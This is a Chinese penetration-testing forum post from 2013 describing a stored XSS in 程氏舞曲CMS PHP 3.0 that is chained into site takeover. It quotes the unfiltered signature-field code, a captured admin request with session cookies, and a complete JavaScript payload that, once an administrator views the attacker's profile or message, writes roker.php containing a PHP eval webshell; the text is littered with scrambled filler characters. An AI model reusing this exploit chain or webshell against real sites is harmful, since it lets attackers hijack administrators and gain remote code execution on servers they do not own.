中国网络渗透测试联盟

标题: 程氏舞曲CMSPHP3.0 储存型xss getshell [打印本页]

---

作者: admin    时间: 2013-11-6 18:09
标题: 程氏舞曲CMSPHP3.0 储存型xss getshell

这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 ' C/ `% B8 I. a官网已经修补了，所以重新下了源码 因为 后台登入 还需要认证码 所以 注入就没看了。   `2 ^" e( [! c; f5 b7 G) ~存在 xss 漏洞文件 user/member/skin_edit.php 4 n/ e* x7 Y+ v- y本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名： $ ^0 I# B0 @+ p% a0 ^+ W   </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> ! Z" e9 R- u" Q  w   - T5 W. a, @" w9 x  P9 p' w% d</textarea></td></tr> 9 Y2 p9 J% m: T, ~6 ]7 K   " Q5 W; @% |2 b* S5 r             user/do.php 4 J* z3 {8 R: [3 c * d( r$ a+ F& N: { ' n8 G0 e9 c0 n3 m4 y* Zif($op=='zl'){ //资料                 if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))              exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));    : g3 B1 r  M; @             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."', 4 f5 S( T$ u' m2 F% W   : C- |$ [" c; a             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'              where CS_Name='".$cscms_name."'"; 9 w$ K' `9 D' t, |' C. i; U5 I. a0 a                if($db->query($sql)){ " ~) M( _2 D; R3 w3 K                 exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);')); 5 \% D& p2 s9 P6 ~. S                }else{ . S! V' r3 [3 t   / V" f2 x9 F7 e* N# n8 T, m              exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);')); ; M1 k- z! Z. b9 k) m8 g/ q   3 `" e# i. a: a' g' u8 s: y2 B1 H             }   {& H* ~# y% s/ r ) B) d, T- s8 P* h4 \6 _没有 过滤导致xss产生。 - ?; I# h, G* m# R& V# K: j后台 看了下 很奇葩的是可以写任意格式文件。。 2 f0 A8 W4 S' n- f5 ?" [抓包。。   |4 \' g/ m4 V0 ]& t % e8 l2 x5 a$ K7 r8 ]本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 ( V' @1 b+ m) }( V& x( t   Accept: text/html, application/xhtml+xml, */* " X0 z) p. D+ l; E   5 I+ `) M: U& {8 z+ X$ wReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php 1 ]1 N: ~) Q$ b* }   7 d1 }; j% _) N! j- v$ eAccept-Language: zh-CN 1 O9 o& n& n" K) y6 {. _4 t   " [% n2 r2 C8 a. G/ [; T, r0 uUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) : ^$ U$ s# w+ o# L  k8 `   Content-Type: application/x-www-form-urlencoded 8 h" R8 `! r4 G  {% _7 y: ]   Accept-Encoding: gzip, deflate    Host: 127.0.0.1 3 v" X+ j$ C2 x/ J" p   4 A& _; I# x/ R9 I) uContent-Length: 38 / W# W. i+ w; G4 S* g% a   6 w5 ~8 |) W* `& x* eDNT: 1 + h8 r1 i6 l! r6 R* q; W   ) T' A  l- i7 A4 n/ i( t9 R0 ~Connection: Keep-Alive 8 {1 {1 `5 R$ N0 {* n! j: K   Cache-Control: no-cache    % ]) X) C: H3 A7 L. p1 f  nCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594 8 a  ~7 j2 [" Z- g8 G) K5 v2 w   4 U3 p. K5 m; g, h9 S / \) z8 p8 |2 A( l1 G! f! R5 zname=aaa.php&content=%3Cs%3E%3Ca%25%3E ' k- x/ E5 ^4 g, i1 b3 D+ X# i + T. R9 L4 S1 g ! [/ R1 Y, |  U5 c- c; [- w  a于是 构造js如下。 $ {. l  [0 |1 j, E. U) J! B/ ^ 本帖隐藏的内容<script> 9 G2 _  j- E7 t, V4 CthisTHost = top.location.hostname; / b% u# \* A+ _' X9 B( c+ O4 [   , `! T- D' X* [. D; ]6 l/ O, c7 ~* hthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";    function PostSubmit(url, data, msg) {     var postUrl = url;        var postData = data; 9 t' |1 \4 R- [% ]' f    var msgData = msg; 3 y. `0 D. A/ B$ g; _; d5 l    var ExportForm = document.createElement("FORM");     document.body.appendChild(ExportForm); 1 A# M2 K1 b/ M  K, f1 W& [    ExportForm.method = "POST"; 0 a. i) D8 t8 i: h& j3 A2 M# S    var newElement = document.createElement("input");     newElement.setAttribute("name", "name");     newElement.setAttribute("type", "hidden"); 5 W+ X, {7 x0 N4 T    var newElement2 = document.createElement("input"); 4 b% w% `0 ^7 r4 V9 x    newElement2.setAttribute("name", "content");     newElement2.setAttribute("type", "hidden");     ExportForm.appendChild(newElement); ; T6 a' _, d7 B4 j2 U- ?- Y1 k    ExportForm.appendChild(newElement2);     newElement.value = postData;     newElement2.value = msgData; ! ~/ D' P8 o) y1 {6 d) d( B4 c    ExportForm.action = postUrl; . Q' `6 a: w5 q* T( I" A    ExportForm.submit(); }; # M* w  d) \) c0 d, c: V7 d$ r   PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");    ) W, M0 a% P9 y; Q! V3 J9 q. E</script> http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 ; t9 F% o3 i, R6 y用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改） 就会 在 skins\index\html\目录下生成 roker.php 一句话。

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2